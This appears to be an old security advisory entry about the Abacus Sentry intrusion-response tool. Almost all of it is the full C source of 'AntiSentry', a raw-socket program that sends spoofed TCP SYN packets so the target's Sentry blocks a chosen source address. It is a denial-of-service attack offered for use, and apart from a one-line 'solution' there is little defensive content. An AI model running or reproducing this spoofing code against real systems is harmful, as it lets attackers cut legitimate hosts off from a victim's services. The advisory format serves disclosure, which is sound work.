COMMAND
Sentry (Abacus)
SYSTEMS AFFECTED
Systems running above
PROBLEM
Paul Boehm posted following. He took kill_identd.c from
rootshell.com and modified it a bit to use it as DoS attack
against servers running abacus sentry... it simply does a few
spoofed tcp connections on the target host so it denies the
source... nothing revolutionary, but.. here it is:
/*
AntiSentry v0.0b by infected <infected@cia.at>
based on kill_inetd.c by ???(found no credits)
makes the abacus sentry program running on 'target' drop
route/ipfwadm deny (to) the source address... think for your self
of what use this could be..
*/
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <netdb.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <stdio.h>
#define NPROBES 1
#define SEQ 0x28374839
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
register int nleft = len;
register u_short *w = addr;
register int sum = 0;
u_short answer = 0;
/*
* Our algorithm is simple, using a 32 bit accumulator (sum), we add
* sequential 16 bit words to it, and at the end, fold back all the
* carry bits from the top 16 bits into the lower 16 bits.
*/
while (nleft > 1)
{
sum += *w++;
nleft -= 2;
}
/* mop up an odd byte, if necessary */
if (nleft == 1)
{
*(u_char *) (&answer) = *(u_char *) w;
sum += answer;
}
/* add back carry outs from top 16 bits to low 16 bits */
sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
sum += (sum >> 16); /* add carry */
answer = ~sum; /* truncate to 16 bits */
return (answer);
}
int sock, ssock;
void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
char buf[65536];
struct { /* rfc 793 tcp pseudo-header */
unsigned long saddr, daddr;
char mbz;
char ptcl;
unsigned short tcpl;
} ph;
struct sockaddr_in sin;/* how necessary is this? */
ph.saddr=ih->saddr;
ph.daddr=ih->daddr;
ph.mbz=0;
ph.ptcl=IPPROTO_TCP;
ph.tcpl=htons(sizeof(*th)+dlen);
memcpy(buf, &ph, sizeof(ph));
memcpy(buf+sizeof(ph), th, sizeof(*th));
memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
memcpy(buf, ih, 4*ih->ihl);
memcpy(buf+4*ih->ihl, th, sizeof(*th));
memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
memcpy(buf, ih, 4*ih->ihl);
sin.sin_family=AF_INET;
sin.sin_port=th->dest;
sin.sin_addr.s_addr=ih->daddr;
if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0,
&sin, sizeof(sin))<0) {
perror("sendto");
exit(1);
}
}
probe_seq(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
int i;
struct iphdr ih;
struct tcphdr th;
char buf[1024];
ih.version=4;
ih.ihl=5;
ih.tos=0;/* XXX is this normal? */
ih.tot_len=sizeof(ih)+sizeof(th);
ih.id=htons(6969);
ih.frag_off=0;
ih.ttl=30;
ih.protocol=IPPROTO_TCP;
ih.check=0;
ih.saddr=my_ip;
ih.daddr=their_ip;
th.source=htons(9999);
th.dest=htons(port);
th.seq=htonl(SEQ+i);
th.ack_seq=0;
th.res1=0;
th.doff=sizeof(th)/4;
th.fin=0;
th.syn=1;
th.rst=0;
th.psh=0;
th.ack=0;
th.urg=0;
th.res2=0;
th.window=htons(512);
th.check=0;
th.urg_ptr=0;
send_tcp_segment(&ih, &th, &ih, 0);
}
unsigned long getaddr(char *name) {
struct hostent *hep;
hep=gethostbyname(name);
if(!hep) {
fprintf(stderr, "Unknown host %s\n", name);
exit(1);
}
return *(unsigned long *)hep->h_addr;
}
main(int argc, char **argv) {
unsigned long me=inet_addr("127.0.0.1"), victim=inet_addr("127.0.0.1");
int port=259, i=0, max=10;
struct hostent *hep;
printf("AntiSentry v0.0b by infected <infected@cia.at>\n");
if(argc<3) {
printf("\nUsage: %s dst src [port=%d] [num=%d]\n", argv[0], port, max);
exit(1);
}
if(argc>=2)
victim=getaddr(argv[1]);
if(argc>=3)
me=getaddr(argv[2]);
if(argc>=4)
port=atoi(argv[3]);
if(argc>=5)
max=atoi(argv[4]);
printf("Src: %s\n",inet_ntoa(me));
printf("Dst: %s\n",inet_ntoa(victim));
printf("Prt: %d\n",port);
printf("Num: %d\n\n",max);
ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock<0) {
perror("socket (raw)");
exit(1);
}
for (i=0; i < max; i++) {
printf("bEEp\007 ");
port++; // Comment this out if you want all connections on the same port.
probe_seq(me, victim, port);
}
printf("\n");
}
SOLUTION
I guess sentry will pass good code inspection and have update.